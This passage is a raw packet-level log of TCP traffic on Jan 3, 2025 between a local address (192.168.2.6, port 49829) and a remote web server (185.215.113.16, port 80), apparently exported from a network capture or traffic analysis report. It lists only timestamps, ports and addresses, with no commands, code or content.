Jan 3, 2025 15:21:27.382313967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382317066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382339001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382342100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382354021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382366896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382376909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382389069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382389069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382401943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382414103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382442951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382603884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382613897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382623911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382643938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382653952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382656097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382673025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382688999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382699013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382700920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382713079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382740974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382741928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382752895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382771015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382787943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382798910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382811069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382826090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382838964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382843971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382848978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382859945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382879019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382896900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382908106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382920027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382935047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382947922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382956028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.382961988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.382981062 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383002996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383023977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383059025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383074045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383114100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383141041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383152008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383153915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383178949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383192062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383196115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383205891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383210897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383218050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383239031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383270025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383280993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383296013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383321047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383342028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383349895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383368969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383380890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383384943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383388042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383394003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383399963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383527040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383538008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383544922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.383546114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383550882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383558035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383568048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.383590937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.384761095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.386149883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400100946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400160074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400182009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400202990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400208950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400216103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400222063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400223017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400229931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400244951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400257111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400266886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400286913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400299072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400310040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400317907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400326014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400335073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400350094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400356054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400448084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400468111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400481939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400495052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400501013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400511980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400521994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400527954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400548935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400574923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400590897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400599957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400605917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400618076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400650024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.400669098 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.400736094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.403182983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403233051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403233051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.403245926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403260946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403287888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403295040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403301001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403328896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.403333902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403342962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403350115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403362989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403369904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403384924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403390884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403395891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403408051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.403440952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.403521061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.472744942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472845078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472856045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472868919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472882032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472893000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472906113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472910881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.472915888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472928047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472960949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.472975016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.472986937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473006964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473014116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473017931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473030090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473037958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473042011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473057032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473063946 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473067045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473097086 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473124027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473143101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473160028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473176003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473193884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473228931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473231077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473257065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473262072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473277092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473288059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473299026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473310947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473315001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473326921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473339081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473345041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473345041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473356962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473366976 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473380089 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473587990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473598957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473608971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473620892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473632097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473660946 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473690033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473701954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473715067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473726034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473737001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473740101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473752975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473782063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473793983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473804951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473809958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473815918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473828077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473839045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473839998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473851919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473869085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473874092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473886967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473897934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473913908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473937988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473949909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473961115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473972082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.473973036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.473984003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474003077 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474033117 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474049091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474060059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474077940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474092007 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474096060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474123001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474133968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474142075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474145889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474163055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474169016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474174976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474190950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474199057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474250078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474261045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474287033 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474309921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474368095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474380970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474391937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474406004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474419117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474426031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474431038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474442005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474451065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474452019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474473953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474482059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474487066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474494934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474507093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474515915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.474539042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.474561930 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.476983070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491128922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491151094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491162062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491209984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491230965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491270065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491281986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491333008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491333008 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491379023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491391897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491404057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491415977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491427898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491434097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491456985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491569996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491594076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491614103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491631985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491636992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491651058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491662979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491673946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491687059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491688967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491698980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491709948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491720915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491731882 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491733074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491744995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491755962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491761923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491766930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491780043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491790056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491802931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.491803885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491811037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.491841078 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.493732929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494152069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494187117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494205952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494218111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494250059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494254112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494262934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494301081 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494301081 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494348049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494366884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494379997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494390965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494405031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494412899 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494415045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494422913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494431019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494446993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494460106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.494460106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.494482994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.525144100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.563767910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563793898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563808918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563848972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563862085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.563888073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563903093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563920021 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.563939095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563941002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.563955069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563971043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563983917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.563997984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564002991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564013004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564023972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564034939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564052105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.564059019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.564095974 CET	49829	80	192.168.2.6	185.215.113.16
